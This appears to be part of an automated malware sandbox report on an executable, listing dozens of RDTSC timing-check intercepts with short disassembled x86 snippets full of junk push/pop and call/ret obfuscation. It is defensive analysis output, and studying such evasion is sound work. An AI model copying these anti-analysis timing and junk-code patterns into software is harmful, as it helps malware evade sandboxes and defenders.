Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E61C20 second address: E61C29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62008 second address: E62017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F3DA0B69F46h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E62017 second address: E6201B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6201B second address: E62024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6219D second address: E621CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jo 00007F3DA0D10B36h 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jmp 00007F3DA0D10B49h 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E621CB second address: E621E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F50h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E621E1 second address: E621E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E64331 second address: E6433E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6433E second address: E64342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E648EE second address: E648F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E648F2 second address: E648F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E653C4 second address: E653C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E65895 second address: E6589A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E65D82 second address: E65D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E65D86 second address: E65D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E65D8C second address: E65DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DA0B69F53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E66754 second address: E66758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6788B second address: E678A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3DA0B69F48h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jng 00007F3DA0B69F46h 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E68F13 second address: E68F99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F3DA0D10B38h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F3DA0D10B38h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Bh 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007F3DA0D10B38h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Ch 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 pushad 0x00000063 popad 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E681EB second address: E681EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E68F99 second address: E68FAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E68FAF second address: E68FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E26D2A second address: E26D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F3DA0D10B36h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E697A5 second address: E697A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6AF07 second address: E6AF0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6AF0B second address: E6AF1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F3DA0B69F46h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6AF1C second address: E6AF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6FA91 second address: E6FA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6FA95 second address: E6FAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3DA0D10B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F3DA0D10B42h 0x00000012 jg 00007F3DA0D10B36h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6C35E second address: E6C36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6CE74 second address: E6CE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E72DDF second address: E72DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E72DE3 second address: E72E3E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3DA0D10B3Bh 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 jmp 00007F3DA0D10B3Ch 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D22E9h] 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F3DA0D10B38h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c push eax 0x0000003d js 00007F3DA0D10B44h 0x00000043 push eax 0x00000044 push edx 0x00000045 push edx 0x00000046 pop edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E73ECC second address: E73ED2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E72067 second address: E72081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E74061 second address: E74065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E72081 second address: E72086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E74EDD second address: E74EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E74065 second address: E740F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub edi, 4A04B337h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122D300Eh], esi 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov edi, 1F3F40A1h 0x00000029 mov eax, dword ptr [ebp+122D0EB5h] 0x0000002f jmp 00007F3DA0D10B44h 0x00000034 push FFFFFFFFh 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F3DA0D10B38h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 add di, C49Eh 0x00000055 push eax 0x00000056 pushad 0x00000057 push ecx 0x00000058 jnl 00007F3DA0D10B36h 0x0000005e pop ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 push edx 0x00000062 pop edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E740F2 second address: E740F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E75FF7 second address: E7603F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jns 00007F3DA0D10B46h 0x0000000c jmp 00007F3DA0D10B40h 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+122D3418h] 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D2A26h] 0x00000020 push 00000000h 0x00000022 mov ebx, ecx 0x00000024 xchg eax, esi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F3DA0D10B45h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7603F second address: E76043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E76043 second address: E7605C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3DA0D10B3Ch 0x0000000c jg 00007F3DA0D10B36h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7605C second address: E76060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E76060 second address: E76064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E76FDB second address: E77044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3DA0B69F4Ah 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jp 00007F3DA0B69F4Ch 0x00000013 xor edi, dword ptr [ebp+122D2DCEh] 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F3DA0B69F48h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 jmp 00007F3DA0B69F55h 0x0000003a push 00000000h 0x0000003c xor edi, dword ptr [ebp+12471F2Ah] 0x00000042 xchg eax, esi 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 jo 00007F3DA0B69F46h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E78092 second address: E7812B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F3DA0D10B38h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 jmp 00007F3DA0D10B3Bh 0x0000002b push 00000000h 0x0000002d call 00007F3DA0D10B3Dh 0x00000032 add edi, dword ptr [ebp+122D2A34h] 0x00000038 pop ebx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007F3DA0D10B38h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push edi 0x00000059 jmp 00007F3DA0D10B46h 0x0000005e pop edi 0x0000005f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E6673B second address: E66754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 je 00007F3DA0B69F5Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DA0B69F4Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E78316 second address: E7831C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7A02A second address: E7A075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F3DA0B69F48h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 or di, AE1Bh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d mov ebx, dword ptr [ebp+122D36D2h] 0x00000033 pop edi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F3DA0B69F4Eh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7A075 second address: E7A079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7A079 second address: E7A07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E792BF second address: E792C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E792C3 second address: E792CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E792CD second address: E792D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7AFDE second address: E7B05E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movzx edi, si 0x0000000d movzx edi, ax 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D3348h], eax 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F3DA0B69F48h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jmp 00007F3DA0B69F57h 0x00000039 mov bx, C3CBh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jns 00007F3DA0B69F5Dh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7BE22 second address: E7BE4B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3DA0D10B4Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7BE4B second address: E7BE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7BE4F second address: E7BE55 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7BE55 second address: E7BE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7BE5B second address: E7BE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7D11D second address: E7D122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7A292 second address: E7A29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3DA0D10B36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E80E43 second address: E80E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E7F0EF second address: E7F0F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E80F71 second address: E80F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E80F75 second address: E80F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E83360 second address: E8336B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3DA0B69F46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E88E0D second address: E88E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3DA0D10B40h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8879B second address: E887BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Fh 0x00000007 push ecx 0x00000008 jbe 00007F3DA0B69F46h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jbe 00007F3DA0B69F50h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E888EB second address: E888F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E888F1 second address: E888FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3DA0B69F46h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E888FE second address: E88904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8D1FD second address: E8D20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8D20A second address: E8D214 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8D39E second address: E8D3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8D3A2 second address: E8D3AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E8D3AF second address: E8D3E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3DA0B69F53h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jc 00007F3DA0B69F4Eh 0x00000017 push ebx 0x00000018 jng 00007F3DA0B69F46h 0x0000001e pop ebx 0x0000001f mov eax, dword ptr [eax] 0x00000021 je 00007F3DA0B69F50h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E92FCD second address: E92FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E936CA second address: E936DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F3DA0B69F46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: E936DA second address: E936E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3DA0D10B36h 0x0000000a rdtsc
